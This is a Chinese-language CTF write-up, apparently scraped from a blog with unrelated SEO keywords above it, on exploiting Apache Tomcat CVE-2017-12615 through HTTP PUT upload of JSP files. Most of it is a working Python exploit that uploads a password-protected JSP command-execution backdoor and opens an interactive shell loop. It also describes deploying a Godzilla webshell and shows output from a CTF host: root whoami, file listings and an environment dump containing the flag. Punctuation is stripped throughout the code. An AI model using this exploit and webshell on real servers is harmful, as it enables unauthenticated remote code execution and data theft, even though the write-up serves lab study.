珠海网站定制开发,wordpress邮箱修改,网站微信建设运维培训班,做网站一般使用什么算法目录
漏洞描述
一、漏洞编号#xff1a;CVE-2017-12615
二、漏洞复现
get flag 漏洞描述 CVE-2017-12615#xff1a;远程代码执行漏洞 影响范围#xff1a;Apache Tomcat 7.0.0 - 7.0.79 (windows环境) 当 Tomcat 运行在 Windows 操作系统时#xff0c;且启用了 HTTP P…目录
漏洞描述
一、漏洞编号CVE-2017-12615
二、漏洞复现
get flag 漏洞描述 CVE-2017-12615远程代码执行漏洞 影响范围Apache Tomcat 7.0.0 - 7.0.79 (windows环境) 当 Tomcat 运行在 Windows 操作系统时且启用了 HTTP PUT 请求方法例如将 readonly 初始化参数由默认值设置为 false攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。 通过 PUT 方法的 Tomcat 任意写入文件漏洞
一、漏洞编号CVE-2017-12615
漏洞简述Tomcat设置了写权限readonlyfalse导致我们可以向服务器写入文件。 CVE-2017-12615远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件如WebDAV中所使用的。 靶机自搭vulhub
攻击IP本机 二、漏洞复现
1、开启漏洞环境
cd/vulhub/tomcat/CVE-2017-12615
docker-compose up -d
docker ps 2、进入漏洞页面 当你想登录进入会发现直接报错403。 3、进行抓包因为漏洞开启了readonlyfalse这个权限所以我们可以进行远程代码执行。
我们可以通过上传哥斯拉jsp包达到RCE目的。
那么首先我们就要用哥斯拉生成一个木马当然后缀是jsp的。 我们在数据包里把GET类型改成PUT类型后面加上任意自己起的名字例如shell.jsp
如下数据包这个就是修改后的数据包 在哥斯拉中我们选择 管理—生成—生成—jsp后缀木马 做完这一切之后我们去网页访问shell.jsp。 会发现没有任何显示这样就对了我们再用哥斯拉进行连接。具体操作
目标—添加—填写目标url—连接 可以看到我们已经可以进入主机执行任意命令了这样我们就getshell啦 get flag 我们使用exp进行漏洞测试 #CVE-2017-12615 EXP
__author__ RX
import requests
import optparse
import timeparse optparse.OptionParser(usage python3 %prog [-h] [-u URL] [-p PORT])
parse.add_option(-u,--url,destURL,helptarget url)
parse.add_option(-p,--port,destPORT,helptarget port[default:8080],default8080)options,args parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:print(Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n)exit(CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help)url options.URL:options.PORT
filename /backdoor.jsp
payload filename?pwd023iheaders {User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0}
#木马
data %if(023.equals(request.getParameter(pwd))){java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(i)).getInputStream();int a -1;byte[] b new byte[2048];out.print(pre);while((ain.read(b))!-1){out.println(new String(b));}out.print(/pre);}%
#上传木马文件
def upload(url):print([*] 目标地址:url)try:respond requests.put(urlfilename/,headersheaders,data data)#print(respond.status_code)if respond.status_code 201 or respond.status_code 204:#print([*] 目标地址:url)print([] 木马上传成功)except Exception as e:print([-] 上传失败)return 0#命令执行
def attack(url,cmd):try:respond requests.get(urlpayloadcmd)if respond.status_code 200:print(str(respond.text).replace(pre,).replace(/pre,).strip())except Exception as e:print([-] 命令执行错误)
if upload(url) 0:exit()
time.sleep(0.5)
print(输入执行命令(quit退出):)
while(1):cmd input()if(cmd quit):breakattack(url,cmd) ┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492
[] http://node5.buuoj.cn:26492 存在CVE-2017-12615 Tomcat 任意文件读写漏洞┌──(root㉿ru)-[~/桌面]
└─# python3 exp.py -u http://node5.buuoj.cn -p 26492
[*] 目标地址:http://node5.buuoj.cn:26492
[] 木马上传成功
输入执行命令(quit退出):
whoami
rootls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
workcd /
ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
workpwd
/usr/local/tomcatcd /root
ls -al
total 88
drwxr-sr-x 1 root staff 57 Jul 31 2017 .
drwxrwsr-x 1 root staff 20 Jul 31 2017 ..
-rw-r----- 1 root root 57092 Jul 24 2017 LICENSE
-rw-r----- 1 root root 1723 Jul 24 2017 NOTICE
-rw-r----- 1 root root 7064 Jul 24 2017 RELEASE-NOTES
-rw-r----- 1 root root 15946 Jul 24 2017 RUNNING.txt
drwxr-x--- 2 root root 313 Jul 31 2017 bin
drwx--S--- 1 root root 22 Feb 7 08:59 conf
drwxr-sr-x 3 root staff 19 Jul 31 2017 include
drwxr-x--- 2 root root 4096 Jul 31 2017 lib
drwxr-x--- 1 root root 177 Feb 7 08:59 logs
drwxr-sr-x 3 root staff 151 Jul 31 2017 native-jni-lib
drwxr-x--- 2 root root 30 Jul 31 2017 temp
drwxr-x--- 1 root root 18 Jul 24 2017 webapps
drwxr-x--- 1 root root 22 Feb 7 08:59 workenv
LD_LIBRARY_PATH/usr/local/tomcat/native-jni-lib
CATALINA_HOME/usr/local/tomcat
LANGC.UTF-8
HOSTNAMEout
OPENSSL_VERSION1.1.0f-3
TOMCAT_VERSION8.5.19
GPG_KEYS05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23
JAVA_HOME/docker-java-home/jre
TOMCAT_NATIVE_LIBDIR/usr/local/tomcat/native-jni-lib
KUBERNETES_PORT_443_TCP_PROTOtcp
KUBERNETES_PORT_443_TCP_ADDR10.240.0.1
TOMCAT_ASC_URLhttps://www.apache.org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz.asc
JAVA_VERSION8u141
TOMCAT_TGZ_URLhttps://www.apache.org/dyn/closer.cgi?actiondownloadfilenametomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz
KUBERNETES_PORTtcp://10.240.0.1:443
PWD/usr/local/tomcat
HOME/root
KUBERNETES_SERVICE_PORT_HTTPS443
KUBERNETES_PORT_443_TCP_PORT443
CA_CERTIFICATES_JAVA_VERSION20170531nmu1
TOMCAT_MAJOR8
JAVA_DEBIAN_VERSION8u141-b15-1~deb9u1
KUBERNETES_PORT_443_TCPtcp://10.240.0.1:443
FLAGflag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}
SHLVL0
KUBERNETES_SERVICE_PORT443
PATH/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_SERVICE_HOST10.240.0.1直接运行env即可打印出环境变量 flag{ec56b73b-ec22-49c0-97c4-1f457cc9095b}